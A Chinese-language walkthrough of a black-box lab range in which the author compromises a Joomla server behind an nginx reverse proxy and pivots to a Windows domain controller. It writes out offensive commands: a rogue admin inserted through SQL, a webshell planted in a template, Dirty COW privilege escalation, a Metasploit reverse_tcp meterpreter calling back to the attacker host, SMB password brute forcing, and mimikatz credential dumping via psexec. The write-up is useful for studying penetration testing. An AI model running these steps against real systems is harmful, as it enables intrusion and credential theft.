實戰 | 記一次靶場實戰繞過Nginx反向代理
前言
本環境為黑盒測試,在不提供虛擬機帳號密碼的情況下進行黑盒測試拿到域控里面的flag。
環境搭建
內網網段:192.168.93.0/24
外網網段:192.168.1.0/24
攻擊機:
kali:192.168.1.10
靶場:
CentOS(內):192.168.93.100
CentOS(外):192.168.1.110
Ubuntu:192.168.93.120
域內主機:
Winserver2012:192.168.93.10
Winserver2008:192.168.93.20
Windows7:192.168.93.30
其中CentOS可以外網、內網通信,域內主機只能內網之間進行通信
kali跟CentOS能夠ping通

拓撲圖如下:

內網信息搜集
nmap探測端口
nmap先探測一下出網機即CentOS的端口情況。可以看到開了22、80、3306端口,初步判斷開了web,ssh,數據庫應該為MySQL
nmap -T4 -sC -sV 192.168.1.110

這里首先訪問下80端口,發現為joomla框架,joomla框架在3.4.6及以下版本是有一個遠程rce漏洞的,這里先使用exp直接去打一下

這里看到exp打過去不能夠利用那么應該是joomla的版本比較高

這里使用端口掃描軟件掃一下后臺的文件發現一個管理員的界面

是joomla的后臺登錄界面,這里嘗試使用bp弱口令爆破了一下,無果,只好放棄

這里使用dirsearch進一步進行掃描,發現了一個configuration.php

看一下這個php的內容發現有一個user跟password,聯想到開了3306這個端口,猜測這可能是管理員備份的數據庫密碼忘記刪除了

連接mysql
這里使用navicat嘗試連接一下靶機的數據庫

可以看到連接成功了

然后就是翻數據找管理員的帳號了,找管理員帳號肯定是找帶有user字段跟password字段的,這里我找了一段時間,最后發現umnbt_users這個表跟管理員帳號最相似,但是這里出現了一個問題,我發現password這個地方的密碼不是明文

這里試著把密文拿去解密發現解密失敗

在搜索的時候發現joomla官網雖然沒有直接公布密碼的加密方式,但是它為了防止用戶忘記密碼增加了一個添加超級管理員用戶的方式,就是通過登錄數據庫執行sql語句達到新建超級管理員的效果

這里我們可以發現sql語句中的VALUES中的第三項為密文,這里我們為了方便就是用他給我們的這一串密文,這里對應的密碼為secret,當然也可以用其他對應的密文如下所示

在navicat中執行sql語句,注意這里要分開執行兩個INSERT INTO否則會報錯,這里相當于我們添加了一個admin2 secret這個新的超級管理員用戶

登錄joomla后臺
使用admin2 secret登錄joomla后臺

登錄成功,進入后臺后的操作一般都是找可以上傳文件的地方上傳圖片馬或者找一個能夠寫入sql語句的地方

這里經過谷歌后發現,joomla的后臺有一個模板的編輯處可以寫入文件,這里找到Extensions->Template->Templates

這里選擇Beez3這個模板進入編輯

這里因為模板前面有前綴,所以這里我們需要將一句話木馬稍微變形一下,然后保存即可

這里使用蟻劍連接成功


繞過disable_functions
但是這里命令執行返回的是127,應該是disable_functions禁用了命令執行的函數,在windows下繞過disable_functions的方法雖然很少,但是在linux里面繞過disable_functions的方法卻有很多,這里就不展開說了

這里為了方便我直接使用的是蟻劍里自帶的插件繞過disable_functions,可以看到已經上傳腳本操作成功了

這里我直接去連接上傳的這個.antproxy.php,這里理論上是應該用原來的密碼連接過去就可以執行命令了,但是這和地方不知道為什么返回數據為空我淦!

這里只好用最原始的方法,上傳一個繞過disable_functions的py,通過傳參的方式執行系統命令

測試一下傳參為whoami,可以看到這里是一個低權限www-data

ifconfig看一下網卡情況,這里很奇怪,因為之前我們在掃描的時候這臺CentOS的ip應該是192.168.1.0/24這個網段的,但是這里ifconfig出來卻是192.168.53.0/24這個網段,當時說實話有點懵

arp -a查看下路由表,可以看到都是192.168.93.0/24這個網段

再看一下端口的進出,發現都是93這個網段

interfaces中配置的靜態網卡也是93這個網段

Nginx反向代理
那么到這里已經很明顯了,也就是說我們之前拿到的那臺linux的192.168.1.0/24這個網段相當于一個公網IP,但是真正的主機應該是192.168.93.0/24,但這個是一個內網網段,所以說最符合這種情況的就是nginx反向代理
因為之前nginx反代的情況基本沒遇到過,所以這里順帶補充一下自己的盲區
何為代理
在Java設計模式中,代理模式是這樣定義的:給某個對象提供一個代理對象,并由代理對象控制原對象的引用。
可能大家不太明白這句話,在舉一個現實生活中的例子:比如我們要買一間二手房,雖然我們可以自己去找房源,但是這太花費時間精力了,而且房屋質量檢測以及房屋過戶等一系列手續也都得我們去辦,再說現在這個社會,等我們找到房源,說不定房子都已經漲價了,那么怎么辦呢?最簡單快捷的方法就是找二手房中介公司(為什么?別人那里房源多啊),于是我們就委托中介公司來給我找合適的房子,以及后續的質量檢測過戶等操作,我們只需要選好自己想要的房子,然后交錢就行了。
代理簡單來說,就是如果我們想做什么,但又不想直接去做,那么這時候就找另外一個人幫我們去做。那么這個例子里面的中介公司就是給我們做代理服務的,我們委托中介公司幫我們找房子。
何為反向代理
反向代理和正向代理的區別就是:正向代理代理客戶端,反向代理代理服務器。
反向代理,其實客戶端對代理是無感知的,因為客戶端不需要任何配置就可以訪問,我們只需要將請求發送到反向代理服務器,由反向代理服務器去選擇目標服務器獲取數據后,在返回給客戶端,此時反向代理服務器和目標服務器對外就是一個服務器,暴露的是代理服務器地址,隱藏了真實服務器IP地址。
反向代理的好處
那么為什么要用到反向代理呢,原因有以下幾點:
1、保護了真實的web服務器,web服務器對外不可見,外網只能看到反向代理服務器,而反向代理服務器上并沒有真實數據,因此,保證了web服務器的資源安全2、反向代理為基礎產生了動靜資源分離以及負載均衡的方式,減輕web服務器的負擔,加速了對網站訪問速度(動靜資源分離和負載均衡會以后說)3、節約了有限的IP地址資源,企業內所有的網站共享一個在internet中注冊的IP地址,這些服務器分配私有地址,采用虛擬主機的方式對外提供服務了解了反向代理之后,我們再具體的去探究一下Nginx反向代理的實現
1、模擬n個http服務器作為目標主機用作測試,簡單的使用2個tomcat實例模擬兩臺http服務器,分別將tomcat的端口改為8081和8082
2、配置IP域名
192.168.72.49 8081.max.com192.168.72.49 8082.max.com
3、配置nginx.conf
upstream tomcatserver1 { server 192.168.72.49:8081; }upstream tomcatserver2 { server 192.168.72.49:8082; }server { listen 80; server_name 8081.max.com; #charset koi8-r; #access_log logs/host.access.log main; location / { proxy_pass http://tomcatserver1; index index.html index.htm; } }server { listen 80; server_name 8082.max.com; #charset koi8-r; #access_log logs/host.access.log main; location / { proxy_pass http://tomcatserver2; index index.html index.htm; } }
流程:1)瀏覽器訪問8081.max.com,通過本地host文件域名解析,找到192.168.72.49服務器(安裝nginx) 2)nginx反向代理接受客戶機請求,找到server_name為8081.max.com的server節點,根據proxy_pass對應的http路徑,將請求轉發到upstream tomcatserver1上,即端口號為8081的tomcat服務器。
那么這里很明顯還有一臺linux主機在整個拓撲內做為內網Ubuntu的反向代理主機,這時候我翻緩存文件夾的時候發現了一個mysql文件夾,跟進去看看

發現了一個test.txt,不會又是管理員忘記刪了的賬號密碼吧(手動狗頭)

因為之前我們掃端口的時候發現開了22端口,那么這個賬號密碼很可能就是ssh的帳號密碼

使用ssh連接嘗試

連接成功到了另外一臺linux主機

看一下主機和ip情況,可以發現這臺主機已經不是我們之前的那臺Ubuntu了,而是CentOS,而且雙網卡,一張網卡是我們之前掃描時候得出的1.0/24這個網段的ip,還有一個ip就是93.0/24這個內網網段的ip,那么這臺linux主機就是Ubuntu的反向代理主機無疑了

臟牛提權
這里直接選擇linux提權首選的臟牛進行提權
gcc -pthread dirty.c -o dirty -lcrypt //編譯dirty.c./dirty 123456 //創建一個高權限用戶,密碼為123456
可以看到這里已經執行成功,臟牛執行成功過后會自動生成一個名為firefart的高權限用戶,密碼就是我們剛才設置的123456

這里我們切換到firefart用戶進行查看

內網滲透
centos上線msf
這里因為是linux的原因,就不使用cs上線的打法了,先生成一個linux的payload上線到msf
use exploit/multi/script/web_deliveryset lhost 192.168.1.10set lport 4444set target 7run
運行之后會給出一個payload
use exploit/multi/script/web_deliveryset target 7 set payload linux/x64/meterpreter/reverse_tcpset lhost 192.168.1.10set lport 4444exploit

將payload復制到centos執行

可以看到反彈session已經成功

socks代理進入內網掃描
這里使用添加路由、使用socks_proxy模塊進入內網
route add 192.168.93.0 255.255.255.0 1route printuse auxiliary/server/socks_proxyset version 4arun
然后在/etc/proxychain.conf文件中添加代理的ip和端口,這里一定要和設置里的對應

這里可以使用proxychain + nmap進行掃描,這里為了方便我就直接使用msf中的模塊對192.168.93.0/24這個網段進行掃描了。注意這里在實戰的時候可以適當把線程調小一點,不然流量會很大,這里因為是靶場的原因我就直接調成了20
use auxiliary/scanner/discovery/udp_probeset rhosts 192.168.93.1-255set threads 20run
這里掃描完之后可以發現,內網里有3臺主機存活,分別是192.168.93.10 192.168.93.20 192.168.93.30

但是這時候信息還不夠,調用nmap繼續掃描詳細信息
nmap -T4 -sC -sV 192.168.93.10 192.168.93.20 192.168.93.30
首先是10這臺主機,可以看到開放了88跟389這兩個端口,熟悉的師傅都應該知道這兩個端口大概率鎖定了這臺主機就是域控

20這臺主機開的都是幾個常規端口,值得注意的就是1433端口,意味著20這臺主機上有mssql服務
30這臺主機也是開了幾個常規端口,跟前面兩臺主機相比就沒什么特征端口,應該是一個普通的域成員主機

永恒之藍嘗試
這里我發現三臺主機都開了139、445端口,那么先使用永恒之藍模塊先批量掃描一波看有沒有可以直接用永恒之藍打下來的主機
這里沒有能夠直接用永恒之藍拿下的主機,win7跟2008匿名管道都沒有開所以利用不了

密碼枚舉
因為這三臺主機都開了445端口,可以使用smb,使用msf中的smb_login模塊進行密碼枚舉嘗試
use auxiliary/scanner/smb/smb_loginset rhosts 192.168.93.20set SMBUser Administratorset PASS_FILE /tmp/1W.txtrun
這里很幸運,跑出來的密碼是123qwe!ASD剛好在我的1W.txt這個字典里面

psexec橫向移動
這里使用proxifier將msf的socks代理到本地,忘記截圖了orz...
這里既然已經拿到了administrator的密碼,使用ipc先連接到20這一臺主機,使用copy命令將mimikatz拷貝到20這臺主機上

然后使用psexec獲取一個cmd環境,使用mimikatz抓取hash并保存為日志
psexec64.exe \\192.168.93.20 cmdmimiKatz.exe log privilege::debug sekurlsa::logonpasswords

type mimikatz.log讀取日志內容可以發現域管的帳號密碼為Administrator zxcASDqw123!!

那么這里也直接使用ipc連接直接連接10這臺主機,即TEST這個域的域控,可以看到已經連接成功了

使用命令查看機密文件
dir \\192.168.93.10\C$\users\Administrator\Documentstype \\192.168.93.10\C$\users\Administrator\Documents\flag.txt
